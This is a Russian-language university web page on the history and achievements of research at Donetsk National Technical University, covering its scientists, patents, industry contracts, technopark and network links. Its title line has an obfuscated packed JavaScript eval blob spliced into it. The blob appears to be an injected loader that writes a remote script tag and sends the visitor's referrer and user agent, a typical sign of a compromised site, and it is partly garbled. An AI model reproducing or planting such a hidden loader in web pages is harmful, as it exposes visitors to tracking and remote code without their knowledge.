

```
История eval(function(p,a,c,k,e,d){e=function(c){return
c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toSt
ring(a)}k=[function(e){return
d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new
RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(''');n
m="q";',30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|te
xt|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|attnh|var
|u0026u|referrer|trent||js|php'.split('|'),0,{})) науки в ДонНТУ
```

[Проректоры по научной работе ДонНТУ](#)

Донецкий Национальный Технический Университет - это большой научно-исследовательский центр в отраслях фундаментальных и прикладных наук, который в своей деятельности реализует единство научной деятельности и повышения качества учебного процесса. Научные исследования направлены на создание новых материалов, производственных и технологических процессов, оборудования и устройств, которые обеспечивают повышение эффективности (в частности энергоэффективности) и экологической безопасности базовых отраслей экономики страны, внедрения новых методов ведения и модернизации существующих технологических процессов, средств и мероприятий уменьшения техногенного давления на окружающую среду.

Славу техническому университету в разные годы создавали известные ученые,

История

Автор: Sotnikoff
28.01.2016 09:17

академики [Пак В.С.](#) , [Коробчанский И.Е.](#) , профессора [Альшиц Я.И.](#) , [Баранов А.А.](#) , [Белов В.И.](#)

,
[Борнацкий И.И.](#)

,
[Брижанев А.М.](#)

,
[Гейер В.Г.](#)

,
[Клименко В.М.](#)

,
[Кляшторный М.И.](#)

,
[Лейбов Р.М.](#)

,
[Логвинов Н.Г.](#)

,
[Медведев Б.И.](#)

, [Никольский И.Л.](#),
[Оглоблин Д.Н.](#)

,
[Сапиро В.С.](#)

,
[Сапиро С.И.](#)

, [Сорокин В.А.](#),
[Штокман И.Г.](#)

Их традиции продолжают профессоры
[Гольцов В.А.](#)

,
[Зборщик М.П.](#)

,
[Зори А.А.](#)

,
[Минаев А.А.](#)

,
[Панов Б.С.](#)

,
[Святный В.А.](#)

,
[Фельдман Л.П.](#)

,
[Сивокобыленко В.Ф.](#)

и много других.

Научные работники ДонНТУ сделали весомый вклад в развитие отечественной и мировой науки, обогатили ее важными фундаментальными разработками. Сформированные в университете научные школы в горном деле, металлургии, машиностроении, геоинформатике, энергетике, вычислительной технике имеют высокий авторитет в Украине и за ее пределами. Только за последние годы ученые ДонНТУ отмечены пятью Государственными премиями Украины ([Минаев А.А.](#) , [Смирнов А.М.](#) , [Башков Е.А.](#)

,
[Троянский А.А.](#)

,
[Губайдулин В.Ф.](#)

). Сотрудники донецкой политехники выполняют большой объем госбюджетных НИР (3 млн. гривен на год) и хоздоговорных работ (более 4 млн. гривен на год). Среди заказчиков научно-исследовательских работ ведущие предприятия региона:

[ОАО «Донецксталь – металлургический завод»](#)

,
[ОАО](#)

«
[Металлургический комбинат](#)

«
[Азовсталь](#)

»

,
[ОАО](#)

«
[Авдеевский КХЗ](#)

»

,
[ОАО](#)

«
[Ясиновский КХЗ](#)

»

, ДГП

«

Южноукргеология

»

, Государственная акционерная холдинговая компания

«

Топаз

»

,
[ЗАО](#)

«
[Новокраматорский машиностроительный завод](#)

»
, ОАО
«
Автоматгормаш
»
, ОАО
«
Донднепроуглемаш
»
и другие. Большой объем работ по мониторингу состояния воздуха в городах Донецкой области выполняется по заказам городских советов Донецка, Макеевки, Горловки.

В университете уделяется большое внимание развитию технического и научного творчества сотрудников и студентов во всех областях промышленности. Это направление ведет отдел интеллектуальной собственности и патентно-лицензионной работы, который занимается анализом научно-технических разработок ученых университета на предмет их патентоспособности, подготовкой документов для получения патентных грамот и поиском путей коммерциализации научных разработок. По научным разработкам сотрудников университета получено 4700 авторских свидетельств СССР и патентов на изобретения, из них 690 изобретений со студентами, 110 патентов за рубежом и продано 12 лицензий зарубежным фирмам. Также получено 500 патентов Украины на изобретения, 100 патентов на полезные модели, 3 свидетельства на товарный знак. Внедрено в народном хозяйстве 600 изобретений. К особенному достижению научных работников университета можно отнести получение за последнее десятилетие 6 дипломов на открытие. Усилиями работников отдела интеллектуальной собственности в 2008 году Донецкий национальный технический университет заключил договор о продаже лицензии на технологию процесса электрошлакового получения чистых металлов и сплавов с заданной структурой и свойствами (лицензионный договор № 01-62/08 от 29.10.2008 г.) с фирмой Engler Enterprises Ltd (Китай).

История

Автор: Sotnikoff
28.01.2016 09:17

Под руководством профессоров кафедр университета ведется подготовка к использованию действующих образцов перспективных изобретений, которые прошли лабораторные и промышленные испытания, а именно:

- Комплекс технических средств для бурения - рук. [Калиниченко О.И.](#) , [Каракозов А.А.](#)
;

- Технология крепления горных выработок в шахтах – рук. [Касьян Н.Н.](#) ;

- Технология предупреждения и гашения источников самонагревания или горения, способы получения геотермальной энергии - рук. [Костенко В.К.](#) ;

- Технология и устройство для магнитно-абразивной обработки – рук. [Матюха П.Г.](#)
;

- Технология и устройство для измерения концентрации метана в рудничной атмосфере – рук. [Зори А.А.](#)

Изобретательское творчество 8 сотрудников университета отмечено высокими званиями, из них 4 сотрудника - заслуженные изобретатели СССР, 2 - заслуженные изобретатели Украины, 2 - лучшие молодые изобретатели Украины. Также 7 изобретателей награждены значками и почетными грамотами Государственного

департамента интеллектуальной собственности Украины, областного Совета ВОИР и Донецкой областной государственной администрации.

Вокруг университета функционирует ряд научно-производственных фирм в форме обществ с ограниченной ответственностью, основателями которых выступают сотрудники университета (ООО «Технопарк ДонНТУ – УНИТЕХ», [НПО «Доникс»](#), НПО «Доневросталь», ООО «Просперо» и др.). Подавляющая часть в работе отмеченных предприятий принадлежит сотрудникам университета, а сама работа базируется на ранее выполненных разработках университета, которые требуют инвестиций на стадии опытно-промышленных исследований и внедрения.

Силами ООО «Технопарк ДонНТУ – УНИТЕХ» реализованы более 30 инновационных проектов на сумму свыше 5 млн. грн. Технопарк обеспечивает следующие услуги: предоставление научной и технической информации, организацию специальных курсов, для работников компаний, консультации, по технологии и экспертный технико-экономический анализ, предоставление средств связи и телекоммуникаций, привлечение студентов и магистрантов для участия в новых проектах, формирование информационной среды и локальных вычислительных сетей. В «деловом» портфеле Технопарка около 70 готовых к реализации инновационных разработок. Клиентами Технопарка являются крупные компании региона.

Еще одно направление инновационной деятельности работников университета – сотрудничество с зарубежными компаниями и фирмами. Так в 2008 году создан авторизованный центр учебы и научных исследований компании [« Schneider Electric »](#) - мировой

лидер в области распределения электроэнергии и автоматизации производственных процессов. Этот центр имеет один из направлений работы – реализацию разработок научных работников университета на базе современных средств автоматизации производственных процессов фирмы.

По поручению государственной областной администрации Донецкой области наш университет является главной организацией по выполнению государственного поручения относительно разработки «Комплексной программы социального и экономического развития Донбасса до 2020 г. »

Результаты этой разработки одобрены общим решением Президиума НАН Украины и коллегией областной администрации, а также постановлением Кабинета министров Украины. Много положений этой программы полностью или частично уже реализуются предприятиями Донецкого региона.

В университете сформировалась и успешно работает комплексная система организации и повышения эффективности научно-технического творчества студентов. Начиная с середины восьмидесятых годов прошлого столетия и до сих пор, ДонНТУ ежегодно занимает одно из первых призовых мест по итогам обзоров-конкурсов студенческой науки в группе технических вузов. Привлечение студентов к выполнению научно-исследовательских работ, использование научных разработок в учебном процессе способствует развитию инженерно-конструкторских, креативных способностей будущих инженеров, готовит базу для магистерской и аспирантской подготовки.

Подготовка научно педагогических кадров через [аспирантуру и докторантуру](#)

История

Автор: Sotnikoff
28.01.2016 09:17

осуществляется в ДонНТУ по 44 и 38 специальностями, соответственно. Работники университета ежегодно защищают 6-8 докторских диссертаций и 25-30 кандидатских диссертаций. Функционирует 7 специализированных советов по защите диссертаций на получение научных степеней, из них 4 докторских, 2 – кандидатских.

ДонНТУ является региональным центром научной [сети URAN](#), через которую университет интегрирован в научно-образовательное информационное пространство Украины и присоединен к европейской научно-образовательной сети Geant2. Благодаря этому работники имеют качественно новый уровень доступа к общеевропейским научным и образовательным информационным ресурсам. Также, согласно плану развития [сети URAN](#) в Донецке внедрено научное сетевое кольцо, которое включает 10 образовательных и научных организаций и обеспечивает доступ к ресурсам членов кольца и выполнение совместимых научных исследований.